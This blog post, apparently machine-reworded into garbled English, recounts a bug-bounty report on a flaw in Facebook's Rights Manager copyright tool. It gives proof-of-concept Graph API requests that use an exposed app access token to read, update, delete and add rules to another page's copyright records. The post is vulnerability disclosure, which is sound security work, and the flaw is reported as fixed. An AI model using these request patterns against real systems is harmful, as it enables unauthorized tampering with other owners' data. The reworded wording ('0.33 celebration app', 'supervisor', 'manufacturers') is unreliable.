
Freebooting is a variety of piracy, most almost always referred as downloading anyone else’s copyrighted fabric and uploading it to any other web platform, mainly movies from Youtube to facebook. A security vulnerability in facebook’s newly introduced platform referred to as [Copy] Rights supervisor (to preclude Freebooting) enables one to hack facebook brand web page copyright data without difficulty.
Fb is attempting rough to avert Freebooting of their native video participant. Lately in april they presented a device referred to as Rights supervisor, where noted manufacturers has the rights to observe and claim their copyrighted videos uploaded to facebook. Persons who more commonly upload copyrighted videos can effectively be recognized via this option. Pages/Profiles who're continuously uploading copyrighted materials would finally get banned.
Rights manager instrument allows for manufacturers to upload their video objects (source movies to realize pirated videos) and owners would get notified whenever any individual upload their copyrighted movies to facebook. Copyright house owners can request deletion of the detected pirated movies or add exception for few manufacturers in some cases.
So what’s the hack?
Rights supervisor’s application interface allows finish users to control the request knowledge and acquire manage over different manufacturer web page’s copyright source data.
In layman’s phrases, rights supervisor’s authentication mechanism will not be securely functioning so it allows for any facebook person without consent permission to learn, edit and delete source video or manipulate the detected pirated video.
Technical important points
Rights supervisor instrument is preapproved for few official pages and anybody can request for approval.

As soon as you are accepted that you could upload your movies to realize pirated copies round facebook native video player.
Rights manager makes use of Graph API and its legit documentation shows some endpoints for 0.33 celebration app entry. With the aid of default, Rights manager GUI makes use of a preapproved app known as “273465416184080 : content material Tab of a page on www“. We are able to see the access token within the source code of
https://www.Facebook.Com/page_username/publishing_tools/?Section=NEW_MATCHES
seeing that it is an app owned with the aid of fb, its entry token allows us to read or manipulate knowledge for any brand web page due to insufficient permission assessments.
Proof of concept :-
UPDATING victim’s COPYRIGHT
https://graph.Fb.Com/v2.6/<copyright_id_copied_from_victim_query>?System=publish&monitoring_type=VIDEO_AND_AUDIO&access_token=<attacker_access_token>&whitelisted_ids=<attacker_ids_to_bypass_copyright_check>&rule_id=<any_rule_id_if_you_wish_optional_field>&ownership_countries=<can_update_countries_as_well_but_optional>
all of the above fields introduced within the parameters will also be updated.
Reading victim’s Copyrights
https://graph.Fb.Com/v2.6/<victim_page_id>/video_copyrights?Access_token=<attacker_access_token>
Deleting sufferer’s Copyrights
https://graph.Fb.Com/v2.6/<victim_page_copyright_id>?Procedure=delete&access_token=<attacker_access_token>Create copyright rule on behalf of sufferer’s page
https://graph.Fb.Com/v2.6/<victim_page_id>/video_copyright_rules?Access_token=<attacker_access_token>&name=testrule&condition_groups=[action:”ALLOW”,conditions:[type:”MONITORING_TYPE”,operator:”IS”,value:”VIDEO_ONLY”]]
learn victim’s Copyright principles
https://graph.Facebook.Com/v2.6/<victim_page_id>/video_copyright_rules?Access_token=<attacker_access_token>
Delete Copyright Rule
https://graph.Fb.Com/v2.6/<victim_page_copyright_rule_id>?System=delete&access_token=<attacker_access_token>
facebook Acknowledgement of fix and Bounty of $4000 USD
No comments:
Post a Comment